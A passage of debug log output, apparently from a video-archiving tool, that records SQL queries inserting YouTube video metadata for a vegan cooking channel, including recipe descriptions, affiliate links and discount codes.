Haul 🛒 Healthy Plant Based and Gluten Free Options! 🌱/Costco Grocery Haul 🛒 Healthy Plant Based and Gluten Free Options! 🌱 [sPG-fb26Mf0].NA", false, false, false, 1, ~U[2025-01-10 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this healthy Costco grocery haul I'll show you all of the vegan and gluten-free groceries I bought to feed a couple of 2 for at least a week. If you're interested in a plant-based diet or gluten-free diet then this will show you most of the vegan groceries you can buy at a Costco! 🛒\n\n🚨COMPLEMENT SITE-WIDE SALE! Right now you can save up to 45% off their entire store through July 9 at 3:00 pm Eastern! SHOP SALE ➡️ https://lovecomplement.com?aff=578\n✨Some of the products I recommend most:\n1️⃣ COMPLEMENT® Essential, with the 8 hard-to-get nutrients for plant-forward\neaters (like B12 and Omega-3s) to support brain and bone health, immunity, and\nlong-term health.\n2️⃣ COMPLEMENT® Creatine, the purest creatine monohydrate to support energy,\nmuscle retention, and longevity.\n3️⃣ COMPLEMENT® Organic Protein, a smooth, non-chalky, transparent protein to support\nlean muscle mass\nWhether you’re looking to boost energy, support recovery, or simplify your routine, now’s\nthe time…Click MY LINK 👉🏻 to save up to 45%! 👉🏻 https://lovecomplement.com?aff=578 \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: janellec30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul 🛒 Healthy Plant Based and Gluten Free Options! 🌱", 1, nil, false, "sPG-fb26Mf0", "https://www.youtube.com/watch?v=sPG-fb26Mf0", "/downloads/downloads/alec/Steamy Vegan/2025-01-10 Costco Grocery Haul 🛒 Healthy Plant Based and Gluten Free Options! 🌱/Costco Grocery Haul 🛒 Healthy Plant Based and Gluten Free Options! 🌱 [sPG-fb26Mf0].NA", false, ~U[2025-01-10 00:00:00Z]] 20:31:07.024 [debug] QUERY OK source="sources" db=1.2ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.026 [debug] QUERY OK source="media_items" db=1.7ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-08 00:00:00Z], 1] 20:31:07.027 [debug] QUERY OK source="media_items" db=1.2ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day we get very realistic and I show you a fridge cleanout meal, some soup add-ons I love to make throughout the week, and several other typical high-protein vegan recipes I cook in my vegan diet. All of today's vegan recipes are gluten-free, high-protein and super easy recipes to add into your vegan diet, even if you're new to cooking vegan food. \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Realistic What I Eat in a Day on a High-Protein Vegan Diet", "6c41511f-6a8f-464a-8fc9-f94b77eb0ab1", 1, [], false, "AOlX5zYlMlc", "https://www.youtube.com/watch?v=AOlX5zYlMlc", 126, "/downloads/downloads/alec/Steamy Vegan/2025-01-08 Realistic What I Eat in a Day on a High-Protein Vegan Diet/Realistic What I Eat in a Day on a High-Protein Vegan Diet [AOlX5zYlMlc].NA", false, false, false, 1, ~U[2025-01-08 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this what I eat in a day we get very realistic and I show you a fridge cleanout meal, some soup add-ons I love to make throughout the week, and several other typical high-protein vegan recipes I cook in my vegan diet. All of today's vegan recipes are gluten-free, high-protein and super easy recipes to add into your vegan diet, even if you're new to cooking vegan food. \n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Realistic What I Eat in a Day on a High-Protein Vegan Diet", 1, nil, false, "AOlX5zYlMlc", "https://www.youtube.com/watch?v=AOlX5zYlMlc", "/downloads/downloads/alec/Steamy Vegan/2025-01-08 Realistic What I Eat in a Day on a High-Protein Vegan Diet/Realistic What I Eat in a Day on a High-Protein Vegan Diet [AOlX5zYlMlc].NA", false, ~U[2025-01-08 00:00:00Z]] 20:31:07.028 [debug] QUERY OK source="sources" db=0.7ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.030 [debug] QUERY OK source="media_items" db=1.7ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-04 00:00:00Z], 1] 20:31:07.031 [debug] QUERY OK source="media_items" db=1.0ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day style video I tried 3 vegan recipes from Pamela Anderson's new cookbook. Let's see what I think about Pam Anderson's vegan diet and her vegan recipes from her new cookbook. Plus, I try my best to replicate being a Baywatch star, hope I made you proud Pam!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nAffiliate Note: This is an affiliate link which means if you make a purchase then I do get a small commission which really helps me continue to build this channel. I only partner with brands I love, that are plant-based, sustainable, and doing some good for this world. Thanks so much!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Vegan Recipes from Pamela Anderson's Cookbook (What I Eat in a Day on a Vegan Diet)", "da355670-3838-4344-b40e-4d1ab9e45ca5", 1, [], false, "ruSFAZ7CVeY", "https://www.youtube.com/watch?v=ruSFAZ7CVeY", 127, "/downloads/downloads/alec/Steamy Vegan/2025-01-04 I Tried Vegan Recipes from Pamela Anderson's Cookbook (What I Eat in a Day on a Vegan Diet)/I Tried Vegan Recipes from Pamela Anderson's Cookbook (What I Eat in a Day on a Vegan Diet) [ruSFAZ7CVeY].NA", false, false, false, 1, ~U[2025-01-04 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this what I eat in a day style video I tried 3 vegan recipes from Pamela Anderson's new cookbook. Let's see what I think about Pam Anderson's vegan diet and her vegan recipes from her new cookbook. Plus, I try my best to replicate being a Baywatch star, hope I made you proud Pam!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nAffiliate Note: This is an affiliate link which means if you make a purchase then I do get a small commission which really helps me continue to build this channel. I only partner with brands I love, that are plant-based, sustainable, and doing some good for this world. Thanks so much!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Vegan Recipes from Pamela Anderson's Cookbook (What I Eat in a Day on a Vegan Diet)", 1, nil, false, "ruSFAZ7CVeY", "https://www.youtube.com/watch?v=ruSFAZ7CVeY", "/downloads/downloads/alec/Steamy Vegan/2025-01-04 I Tried Vegan Recipes from Pamela Anderson's Cookbook (What I Eat in a Day on a Vegan Diet)/I Tried Vegan Recipes from Pamela Anderson's Cookbook (What I Eat in a Day on a Vegan Diet) [ruSFAZ7CVeY].NA", false, ~U[2025-01-04 00:00:00Z]] 20:31:07.032 [debug] QUERY OK source="sources" db=0.8ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.035 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-29 00:00:00Z], 1] 20:31:07.037 [debug] QUERY OK source="media_items" db=1.0ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan meatloaf recipe is one of my new creations for winter and is perfect for anyone looking for a high-protein vegan recipe main dish. This lentil loaf is packed full of healthy ingredients and pairs perfectly with mashed potatoes or even thrown into a meatloaf sandwich. \n\nYou can find the recipe for my Vegan Lentil Loaf on my blog ➡️ https://steamyvegan.com/lentil-loaf/\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Lentil Loaf (aka. Vegan Meatloaf Recipe) High-Protein Vegan Recipes", "35e6e31c-fe60-4364-8d69-1ed6c634f1ce", 1, [], false, "oEZ7GuOetKY", "https://www.youtube.com/watch?v=oEZ7GuOetKY", 128, "/downloads/downloads/alec/Steamy Vegan/2024-12-29 Vegan Lentil Loaf (aka. Vegan Meatloaf Recipe) High-Protein Vegan Recipes/Vegan Lentil Loaf (aka. Vegan Meatloaf Recipe) High-Protein Vegan Recipes [oEZ7GuOetKY].NA", false, false, false, 1, ~U[2024-12-29 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This vegan meatloaf recipe is one of my new creations for winter and is perfect for anyone looking for a high-protein vegan recipe main dish. This lentil loaf is packed full of healthy ingredients and pairs perfectly with mashed potatoes or even thrown into a meatloaf sandwich. \n\nYou can find the recipe for my Vegan Lentil Loaf on my blog ➡️ https://steamyvegan.com/lentil-loaf/\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Lentil Loaf (aka. Vegan Meatloaf Recipe) High-Protein Vegan Recipes", 1, nil, false, "oEZ7GuOetKY", "https://www.youtube.com/watch?v=oEZ7GuOetKY", "/downloads/downloads/alec/Steamy Vegan/2024-12-29 Vegan Lentil Loaf (aka. Vegan Meatloaf Recipe) High-Protein Vegan Recipes/Vegan Lentil Loaf (aka. Vegan Meatloaf Recipe) High-Protein Vegan Recipes [oEZ7GuOetKY].NA", false, ~U[2024-12-29 00:00:00Z]] 20:31:07.038 [debug] QUERY OK source="sources" db=0.6ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.040 [debug] QUERY OK source="media_items" db=1.6ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-26 00:00:00Z], 1] 20:31:07.045 [debug] QUERY OK source="media_items" db=4.2ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’ll be showing you delicious high protein vegan recipes that are quick, healthy and easy to make! I’m also sharing updates on my 90 day fitness and healthy eating challenge and what tools I'm using to stay on track!\n\nHume Health Body Pod Discount Code: STEAMYVEGAN (saves you 20% off!)\nShop my link ➡️ www.myhumehealth.com/discount/STEAMYVEGAN?redirect=/pages/hume-body-pod&utm_source=youtube&utm_medium=influencer&utm_campaign=STEAMYVEGAN\n\n*RECIPES MENTIONED IN THIS VIDEO* \nChickpea Flour Bagels (not my recipe! 😉) https://www.powerhungry.com/2022/01/2...\n\nSuper Green Pea Soup - 24g protein - 3 servings - 330 calories\nRecipe is on my blog ➡️ https://steamyvegan.com/super-green-p...\n\n\nShredded Tofu Lettuce Wraps \n2 to 4 large lettuce leaves\n1 block extra firm tofu\n¼ cup orange juice\n1½ tbsp soy sauce or tamari\n1 tbsp maple syrup\n1 tbsp apple cider vinegar\n1 tbsp gochujang\n1 tsp cornstarch\n1 medium shredded carrot\nAvocado chunks\n\n1. Using a box grater, shred the block of tofu on the largest hole side and set aside.\n2. Mix the sauce ingredients together in a small bowl. In a medium skillet, warm the bbq sauce and water over medium high and stir together until you have a runny sauce. Once it’s steaming add in the shredded tofu and turn down to medium, stirring to combine. Cook the tofu until almost all the liquid has evaporated, about 5 minutes.\n3. Separate 6 to 8 lettuce leaves from the head and arrange on a large plate or serving board. Evenly spoon out the bbq tofu among the lettuce pieces, then top with shredded carrot and avocado. Enjoy!\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 30% off your order for Black Friday up until December 5, 2024\nCode: JOSTVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day 💪🏼 High Protein Vegan Meals 🌱", "538d345e-ce93-4322-ba92-e57030d4452f", 1, [], false, "WhkVVWVKLf8", "https://www.youtube.com/watch?v=WhkVVWVKLf8", 129, "/downloads/downloads/alec/Steamy Vegan/2024-12-26 What I Eat in a Day 💪🏼 High Protein Vegan Meals 🌱/What I Eat in a Day 💪🏼 High Protein Vegan Meals 🌱 [WhkVVWVKLf8].NA", false, false, false, 1, ~U[2024-12-26 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’ll be showing you delicious high protein vegan recipes that are quick, healthy and easy to make! I’m also sharing updates on my 90 day fitness and healthy eating challenge and what tools I'm using to stay on track!\n\nHume Health Body Pod Discount Code: STEAMYVEGAN (saves you 20% off!)\nShop my link ➡️ www.myhumehealth.com/discount/STEAMYVEGAN?redirect=/pages/hume-body-pod&utm_source=youtube&utm_medium=influencer&utm_campaign=STEAMYVEGAN\n\n*RECIPES MENTIONED IN THIS VIDEO* \nChickpea Flour Bagels (not my recipe! 😉) https://www.powerhungry.com/2022/01/2...\n\nSuper Green Pea Soup - 24g protein - 3 servings - 330 calories\nRecipe is on my blog ➡️ https://steamyvegan.com/super-green-p...\n\n\nShredded Tofu Lettuce Wraps \n2 to 4 large lettuce leaves\n1 block extra firm tofu\n¼ cup orange juice\n1½ tbsp soy sauce or tamari\n1 tbsp maple syrup\n1 tbsp apple cider vinegar\n1 tbsp gochujang\n1 tsp cornstarch\n1 medium shredded carrot\nAvocado chunks\n\n1. Using a box grater, shred the block of tofu on the largest hole side and set aside.\n2. Mix the sauce ingredients together in a small bowl. In a medium skillet, warm the bbq sauce and water over medium high and stir together until you have a runny sauce. Once it’s steaming add in the shredded tofu and turn down to medium, stirring to combine. Cook the tofu until almost all the liquid has evaporated, about 5 minutes.\n3. Separate 6 to 8 lettuce leaves from the head and arrange on a large plate or serving board. Evenly spoon out the bbq tofu among the lettuce pieces, then top with shredded carrot and avocado. Enjoy!\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 30% off your order for Black Friday up until December 5, 2024\nCode: JOSTVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day 💪🏼 High Protein Vegan Meals 🌱", 1, nil, false, "WhkVVWVKLf8", "https://www.youtube.com/watch?v=WhkVVWVKLf8", "/downloads/downloads/alec/Steamy Vegan/2024-12-26 What I Eat in a Day 💪🏼 High Protein Vegan Meals 🌱/What I Eat in a Day 💪🏼 High Protein Vegan Meals 🌱 [WhkVVWVKLf8].NA", false, ~U[2024-12-26 00:00:00Z]] 20:31:07.046 [debug] QUERY OK source="sources" db=0.4ms idle=9.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.047 [debug] QUERY OK source="media_items" db=1.7ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-21 00:00:00Z], 1] 20:31:07.050 [debug] QUERY OK source="media_items" db=1.7ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan meal prep I'll show you 5 high-protein vegan recipes I made to eat this week. Meal prepping your proteins is a super simple way to build easy vegan recipes for your lunches and dinners all week long. Once your vegan proteins are prepped for the week then all you need to do is spend 10-20 minutes for most meals to prepare rice, potatoes or veggies to go with your proteins. \n\nRECIPES (will be sharing to my blog soon!)\n\nInstant Pot Tomato Lentil Soup\n1 medium yellow onion, diced\n4 cloves garlic, minced\n2 carrots, diced\n2 stalks celery, diced\n6 or 7 roma tomatoes, diced (or 1 28-oz can diced tomatoes)\n1 cup split red lentils, rinsed\n1 tbsp Italian seasoning\n6-8 cups water or veggie broth, depending on how thick/thin you want your soup to be.\n1½ tps kosher salt\nBlack pepper to taste\n\n1. Press the saute button on the instant pot and warm ¼ cup of water or 1 tbsp oil until hot. Saute the onion, garlic, carrots, and celery until softened, about 6 minutes.\n2. Add the tomatoes, lentils, italian seasoning, water, salt and pepper and stir to combine. Turn off 'saute', seal the lid and pressure cook on high pressure for 2 minutes.\n3. Do a 10 minute natural pressure release and then quick release the remaining pressure. Blend the soup into a smooth puree (using immersion blender or high-speed blender). \n4. Adjust seasonings to taste and allow soup to sit for 15 to 30 minutes to thicken to your liking. \n\nChik-Style Soy Curls\nhalf a bag (4 oz) dry soy curls, rehydrated\n2 